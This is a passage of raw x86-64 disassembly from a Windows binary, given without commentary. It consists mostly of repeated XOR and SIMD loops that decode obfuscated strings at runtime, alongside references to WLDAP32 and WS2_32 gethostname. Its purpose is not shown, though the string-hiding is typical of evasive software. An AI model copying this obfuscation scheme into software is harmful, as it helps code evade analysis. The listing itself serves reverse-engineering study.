movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
movsd qword [rsp + 0x60], xmm0
mov byte [rsp + 0x60], 0x66
xor byte [rsp + 0x61], 0x33
xor byte [rsp + 0x62], 0x34
xor byte [rsp + 0x63], 0x35
xor byte [rsp + 0x64], 0x36
xor byte [rsp + 0x65], 0x37
xor byte [rsp + 0x66], 0x38
xor byte [rsp + 0x67], 0x39
xor byte [rsp + 0x68], 0x3a
xor byte [rsp + 0x69], 0x3b
xor al, 0x3c
mov byte [rsp + 0x6a], al
lea rax, [rsp + 0x60]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14006dd70
lea rdx, [rsp + 0x60]
lea rcx, [0x140158380]
call fcn.14007bdf0
movups xmm0, xmmword [0x1400dd110]
movups xmmword [rbp + 0x21], xmm0
movups xmm1, xmmword [0x1400dd120]
movups xmmword [rbp + 0x31], xmm1
movups xmm0, xmmword [0x1400dd130]
movups xmmword [rbp + 0x41], xmm0
movups xmm1, xmmword [0x1400dd140]
movups xmmword [rbp + 0x51], xmm1
movzx eax, byte [reloc.WS2_32.dll_gethostname]
mov byte [rbp + 0x61], al
mov r8d, esi
cmp r15d, 2
jl 0x14006df0d
movdqa xmm5, xmmword [0x1400dfdd0]
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm6, xmmword [0x1400dfdf0]
movdqa xmm0, xmmword [0x1400dfef0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x25]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x14006de00
cmp r8d, 0x41
jge 0x14006df53
movsxd rax, r8d
lea r9, [rbp + 0x21]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x41
jl 0x14006df20
lea rax, [rbp + 0x21]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14006df60
lea rdx, [rbp + 0x21]
jmp 0x14006ee6e
movsd xmm0, qword [0x1400dca88]
movsd qword [rsp + 0x60], xmm0
movzx eax, word [0x1400dca90]
mov word [rsp + 0x68], ax
cmp byte [0x1400dca91], 0
je 0x14006dfc8
mov byte [rsp + 0x60], Ordinal_50
xor byte [rsp + 0x61], 0x33
xor byte [rsp + 0x62], 0x34
xor byte [rsp + 0x63], 0x35
xor byte [rsp + 0x64], 0x36
xor byte [rsp + 0x65], 0x37
xor byte [rsp + 0x66], 0x38
xor byte [rsp + 0x67], 0x39
xor byte [rsp + 0x68], 0x3a
xor byte [rsp + 0x69], 0x3b
lea rdx, [rsp + 0x60]
lea rcx, [0x140124cb0]
call fcn.14007f1a0
test al, al
je 0x14006e2d3
movsd xmm0, qword [0x1400de058]
movsd qword [rsp + 0x60], xmm0
movzx eax, word [0x1400de060]
mov word [rsp + 0x68], ax
lea rax, [rsp + 0x60]
mov r8, 0xffffffffffffffff
cmp byte [0x1400de061], 0
je 0x14006e050
mov byte [rsp + 0x60], Ordinal_50
xor byte [rsp + 0x61], 0x33
xor byte [rsp + 0x62], 0x34
xor byte [rsp + 0x63], 0x35
xor byte [rsp + 0x64], 0x36
xor byte [rsp + 0x65], 0x37
xor byte [rsp + 0x66], 0x38
xor byte [rsp + 0x67], 0x39
xor byte [rsp + 0x68], 0x3a
xor byte [rsp + 0x69], 0x3b
inc r8
cmp byte [rax + r8], 0
jne 0x14006e042
jmp 0x14006e05a
inc r8
cmp byte [rax + r8], 0
jne 0x14006e050
lea rdx, [rsp + 0x60]
lea rcx, [0x140158360]
call fcn.14007bdf0
movzx eax, word [0x1400ddc70]
mov word [rsp + 0x68], ax
movsd xmm0, qword [0x1400ddc68]
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
movsd qword [rsp + 0x60], xmm0
mov byte [rsp + 0x60], 0x7a
xor byte [rsp + 0x61], 0x33
xor byte [rsp + 0x62], 0x34
xor byte [rsp + 0x63], 0x35
xor byte [rsp + 0x64], 0x36
xor byte [rsp + 0x65], 0x37
xor byte [rsp + 0x66], 0x38
xor byte [rsp + 0x67], 0x39
xor byte [rsp + 0x68], 0x3a
xor byte [rsp + 0x69], 0x3b
xor al, 0x3c
mov byte [rsp + 0x6a], al
lea rax, [rsp + 0x60]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14006e0d0
lea rdx, [rsp + 0x60]
lea rcx, [0x140158380]
call fcn.14007bdf0
movups xmm0, xmmword [0x1400dd0b0]
movups xmmword [rbp + 0x21], xmm0
movups xmm1, xmmword [0x1400dd0c0]
movups xmmword [rbp + 0x31], xmm1
movups xmm0, xmmword [0x1400dd0d0]
movups xmmword [rbp + 0x41], xmm0
movups xmm1, xmmword [0x1400dd0e0]
movups xmmword [rbp + 0x51], xmm1
movzx eax, byte [reloc.WS2_32.dll_gethostname]
mov byte [rbp + 0x61], al
mov r8d, esi
cmp r15d, 2
jl 0x14006e26d
movdqa xmm5, xmmword [0x1400dfdd0]
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm6, xmmword [0x1400dfdf0]
movdqa xmm0, xmmword [0x1400dfef0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x25]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x14006e160
cmp r8d, 0x41
jge 0x14006e2b3
movsxd rax, r8d
lea r9, [rbp + 0x21]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x41
jl 0x14006e280
lea rax, [rbp + 0x21]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14006e2c0
lea rdx, [rbp + 0x21]
jmp 0x14006ee6e
mov rax, qword [0x1400dd9c0]
mov qword [rbp + 0x970], rax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x14006e443
cmp r15d, 2
jl 0x14006e404
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm2, xmmword [0x1400dfdd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
mov eax, dword [0x1400dfef0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x970]
xorps xmm2, xmm1
movd dword [rbp + 0x970], xmm2
movdqa xmm3, xmmword [0x1400dfde0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x974]
xorps xmm2, xmm1
movd dword [rbp + 0x974], xmm2
jmp 0x14006e443
lea r9, [rbp + 0x970]
mov r8d, esi
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14006e410
lea rdx, [rbp + 0x970]
lea rcx, [0x140124cb0]
call fcn.14007f1a0
test al, al
je 0x14006e8a3
mov rax, qword [0x1400ddf38]
mov qword [rbp + 0x970], rax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x14006e60d
cmp r15d, 2
jl 0x14006e5ac
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm2, xmmword [0x1400dfdd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
mov eax, dword [0x1400dfef0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x970]
xorps xmm2, xmm1
movd dword [rbp + 0x970], xmm2
movdqa xmm3, xmmword [0x1400dfde0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x974]
xorps xmm2, xmm1
movd dword [rbp + 0x974], xmm2
lea rax, [rbp + 0x970]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14006e5a0
jmp 0x14006e62a
lea r9, [rbp + 0x970]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14006e5c0
lea rax, [rbp + 0x970]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14006e601
jmp 0x14006e62a
lea rax, [rbp + 0x970]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14006e620
lea rdx, [rbp + 0x970]
lea rcx, [0x140158360]
call fcn.14007bdf0
movzx eax, word [0x1400dda10]
movsd xmm0, qword [str.d_WgF]
mov word [rsp + 0x68], ax
movsd qword [rsp + 0x60], xmm0
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rsp + 0x60], 0x56
xor byte [rsp + 0x61], 0x33
xor byte [rsp + 0x62], 0x34
xor byte [rsp + 0x63], 0x35
xor byte [rsp + 0x64], 0x36
xor byte [rsp + 0x65], 0x37
xor byte [rsp + 0x66], 0x38
xor byte [rsp + 0x67], 0x39
xor byte [rsp + 0x68], 0x3a
xor byte [rsp + 0x69], 0x3b
xor al, 0x3c
mov byte [rsp + 0x6a], al
lea rax, [rsp + 0x60]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14006e6a2
lea rdx, [rsp + 0x60]
lea rcx, [0x140158380]
call fcn.14007bdf0
movups xmm0, xmmword [0x1400dd230]
movups xmmword [rbp + 0x21], xmm0
movups xmm1, xmmword [0x1400dd240]
movups xmmword [rbp + 0x31], xmm1
movups xmm0, xmmword [0x1400dd250]
movups xmmword [rbp + 0x41], xmm0
movups xmm1, xmmword [0x1400dd260]
movups xmmword [rbp + 0x51], xmm1
movzx eax, byte [reloc.WS2_32.dll_gethostname]
mov byte [rbp + 0x61], al
mov r8d, esi
cmp r15d, 2
jl 0x14006e83d
movdqa xmm5, xmmword [0x1400dfdd0]
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm6, xmmword [0x1400dfdf0]
movdqa xmm0, xmmword [0x1400dfef0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x25]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x14006e730
cmp r8d, 0x41
jge 0x14006e883
movsxd rax, r8d
lea r9, [rbp + 0x21]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x41
jl 0x14006e850
lea rax, [rbp + 0x21]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14006e890
lea rdx, [rbp + 0x21]
jmp 0x14006ee6e
mov rax, qword [str.vrzrzb9]
mov qword [rbp + 0x970], rax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x14006ea13
cmp r15d, 2
jl 0x14006e9d4
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm2, xmmword [0x1400dfdd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
mov eax, dword [0x1400dfef0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x970]
xorps xmm2, xmm1
movd dword [rbp + 0x970], xmm2
movdqa xmm3, xmmword [0x1400dfde0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x974]
xorps xmm2, xmm1
movd dword [rbp + 0x974], xmm2
jmp 0x14006ea13
lea r9, [rbp + 0x970]
mov r8d, esi
nop
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14006e9e0
lea rdx, [rbp + 0x970]
lea rcx, [0x140124cb0]
call fcn.14007f1a0
test al, al
je 0x14006ed23
movsd xmm0, qword [str.GAyYaVO_]
movsd qword [rsp + 0x60], xmm0
movzx eax, word [0x1400dcef0]
mov word [rsp + 0x68], ax
lea rax, [rsp + 0x60]
mov r8, 0xffffffffffffffff
cmp byte [0x1400dcef1], 0
je 0x14006eaa0
mov byte [rsp + 0x60], Ordinal_79
xor byte [rsp + 0x61], 0x33
xor byte [rsp + 0x62], 0x34
xor byte [rsp + 0x63], 0x35
xor byte [rsp + 0x64], 0x36
xor byte [rsp + 0x65], 0x37
xor byte [rsp + 0x66], 0x38
xor byte [rsp + 0x67], 0x39
xor byte [rsp + 0x68], 0x3a
xor byte [rsp + 0x69], 0x3b
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14006ea90
jmp 0x14006eaaa
inc r8
cmp byte [rax + r8], 0
jne 0x14006eaa0
lea rdx, [rsp + 0x60]
lea rcx, [0x140158360]
call fcn.14007bdf0
movzx eax, word [0x1400ddee0]
mov word [rsp + 0x68], ax
movsd xmm0, qword [0x1400dded8]
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
movsd qword [rsp + 0x60], xmm0
mov byte [rsp + 0x60], Ordinal_50
xor byte [rsp + 0x61], 0x33
xor byte [rsp + 0x62], 0x34
xor byte [rsp + 0x63], 0x35
xor byte [rsp + 0x64], 0x36
xor byte [rsp + 0x65], 0x37
xor byte [rsp + 0x66], 0x38
xor byte [rsp + 0x67], 0x39
xor byte [rsp + 0x68], 0x3a
xor byte [rsp + 0x69], 0x3b
xor al, 0x3c
mov byte [rsp + 0x6a], al
lea rax, [rsp + 0x60]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14006eb20
lea rdx, [rsp + 0x60]
lea rcx, [0x140158380]
call fcn.14007bdf0
movups xmm0, xmmword [str.TRPSPV_f_]
movups xmmword [rbp + 0x21], xmm0
movups xmm1, xmmword [0x1400dcae0]
movups xmmword [rbp + 0x31], xmm1
movups xmm0, xmmword [0x1400dcaf0]
movups xmmword [rbp + 0x41], xmm0
movups xmm1, xmmword [0x1400dcb00]
movups xmmword [rbp + 0x51], xmm1
movzx eax, byte [reloc.WS2_32.dll_gethostname]
mov byte [rbp + 0x61], al
mov r8d, esi
cmp r15d, 2
jl 0x14006ecbd
movdqa xmm5, xmmword [0x1400dfdd0]
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm6, xmmword [0x1400dfdf0]
movdqa xmm0, xmmword [0x1400dfef0]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x25]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x14006ebb0
cmp r8d, 0x41
jge 0x14006ed03
movsxd rax, r8d
lea r9, [rbp + 0x21]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x41
jl 0x14006ecd0
lea rax, [rbp + 0x21]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14006ed10
lea rdx, [rbp + 0x21]
jmp 0x14006ee6e
mov eax, dword [str.swyx7]
mov dword [rbp + 0x970], eax
movzx eax, word [0x1400dd278]
mov word [rbp + 0x974], ax
mov byte [rbp + 0x970], 0x41
xor byte [rbp + 0x971], 0x33
xor byte [rbp + 0x972], 0x34
xor byte [rbp + 0x973], 0x35
xor al, 0x36
mov byte [rbp + 0x974], al
xor byte [rbp + 0x975], 0x37
lea rdx, [rbp + 0x970]
lea rcx, [0x140124cb0]
call fcn.14007f1a0
test al, al
je 0x140075651
movdqa xmm0, xmmword [0x1400dfed0]
movdqu xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0x10], 0x43424a5a
mov dword [rbp - 0xc], 0x100434b
lea rcx, [rbp - 0x20]
call fcn.140076870
lea rax, [rbp - 0x20]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14006edb2
lea rdx, [rbp - 0x20]
lea rcx, [0x140158360]
call fcn.14007bdf0
mov dword [rbp - 0x80], 0xa4b38b9c
mov dword [rbp - 0x7c], 0x634fcb8e
mov dword [rbp - 0x78], 0x1005558
lea rcx, [rbp - 0x80]
call fcn.140078e50
lea rax, [rbp - 0x80]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14006edf5
lea rdx, [rbp - 0x80]
lea rcx, [0x140158380]
call fcn.14007bdf0
movdqa xmm0, xmmword [0x1400dff10]
movdqu xmmword [rbp + 0x21], xmm0
movdqa xmm1, xmmword [0x1400e0030]
movdqu xmmword [rbp + 0x31], xmm1
movdqa xmm0, xmmword [0x1400dffe0]
movdqu xmmword [rbp + 0x41], xmm0
movdqa xmm1, xmmword [0x1400dfec0]
movdqu xmmword [rbp + 0x51], xmm1
mov word [rbp + 0x61], 0x100
lea rcx, [rbp + 0x21]
call fcn.140076840
lea rax, [rbp + 0x21]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14006ee60
lea rdx, [rbp + 0x21]
lea rcx, [0x1401583a0]
call fcn.14007bdf0
movsd xmm0, qword [str.q_thaY_W]
movsd qword [rbp], xmm0
mov eax, dword [0x1400dd490]
mov dword [rbp + 8], eax
movzx eax, word [0x1400dd494]
mov word [rbp + 0xc], ax
cmp byte [0x1400dd495], 0
je 0x14006f003
mov r8d, esi
cmp r15d, 2
jl 0x14006efb9
movdqa xmm4, xmmword [0x1400e0080]
movdqa xmm2, xmmword [0x1400dfdd0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400dfdf0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400dfea0]
packuswb xmm2, xmm2
mov eax, dword [0x1400dfef0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.q_thaY_W]
xorps xmm2, xmm0
movd dword [rbp], xmm2
movdqa xmm3, xmmword [0x1400dfde0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
